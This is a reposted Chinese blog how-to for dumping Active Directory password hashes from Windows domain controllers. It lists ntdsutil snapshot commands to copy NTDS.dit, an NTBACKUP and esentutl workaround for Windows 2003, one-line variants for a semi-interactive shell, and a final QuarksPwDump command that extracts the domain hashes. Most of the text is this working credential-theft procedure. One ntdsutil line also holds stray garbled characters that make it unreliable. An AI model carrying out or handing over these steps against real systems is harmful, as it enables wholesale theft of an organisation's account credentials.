windows 2003 windows 2008 windows 2012 导出域控hash的方法

最新推荐文章于 2025-09-08 20:55:49 发布

转载最新推荐文章于 2025-09-08 20:55:49 发布 · 292 阅读

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原文链接：http://www.cnblogs.com/landuo11/p/7492458.html

文章标签：

#数据库 #shell

本文详细介绍了在Windows 2008和2003环境下，如何通过VSS服务和NTBACKUP工具进行活动目录数据库文件NTDS.dit的备份，并利用QuarksPwDump工具读取这些备份文件。

quarkspwdump作者介绍的用法：

1. Windows 2008

	Microsoft recently implements VSS (Volume Shadow Copy Service) which allow an administrator to make
	filesystem snapshots while the operating is running and writing to current backuped files.

	Here is a way to backup NTDS.dit file while a domain controller is running:

	#ntdsutil
	#snapshot
	#activate instance ntds
	#create
	#mount {GUID}
	#copy c:\MOUNT_POINT\WINDOWS\NTDS\NTDS.dit c:\NTDS_saved.dit
	#unmount {GUID}
	#quit
	#quit

	If AD server hasn't the "AD DS role", you have to use dsdbutil.exe command in the same way.



2. Windows 2003
	On this version, VSS has been implemented but not NTDS-type snapshots.
	But you can use ntbackup tool, here is the procedure:

	- Launch NTBACKUP gui
	- Use backup wizard (advanced)
	- Choose to save system state only and choose output filename
	- Wait some minutes
	- Use restore wizard (advanced)
	- Choise your backup, click next and use advanced button
	- Choose to restore file on another location (c:\tmp\ for example)
	- Choose to overwrite everything and next uncheck all restoration parameters
	- Validate and wait some minutes
	- Open a command shell to "c:\tmp\Active Directory"
	- We need to repair the database with this command
	#esentutl /p ntds.dit
	- Validate warning and wait some minutes

	ntds.dit file can now be used with quarkspwdump.

其中

#ntdsutil
#snapshot
#activate instance ntds
#create
#mount {GUID}
#copy c:\MOUNT_POINT\WINDOWS\NTDS\NTDS.dit c:\NTDS_saved.dit
#unmount {GUID}
#quit
#quit

适用于可交互式或直接登录状态。

如果是半交互式的，可以采用如下方法（网上看到的用法）：

ntdsutil  snapshot  "activate  instance  ntds"  create  quit  quit
ntdsutil  snapshot  "mount {GUID}"  quit  quit
copy  MOUNT_POINT\windows\NTDS\ntds.dit  c:\ntds.dit
ntdsutil  snapshot  "unmount {GUID}"  quit  quit2 v- p5 I2 O  E
ntdsutil  snapshot  "delete {GUID}"  quit  quit

最后

QuarksPwDump.exe --dump-hash-domain --ntds-file c:\ntds.dit

转载于:https://www.cnblogs.com/landuo11/p/7492458.html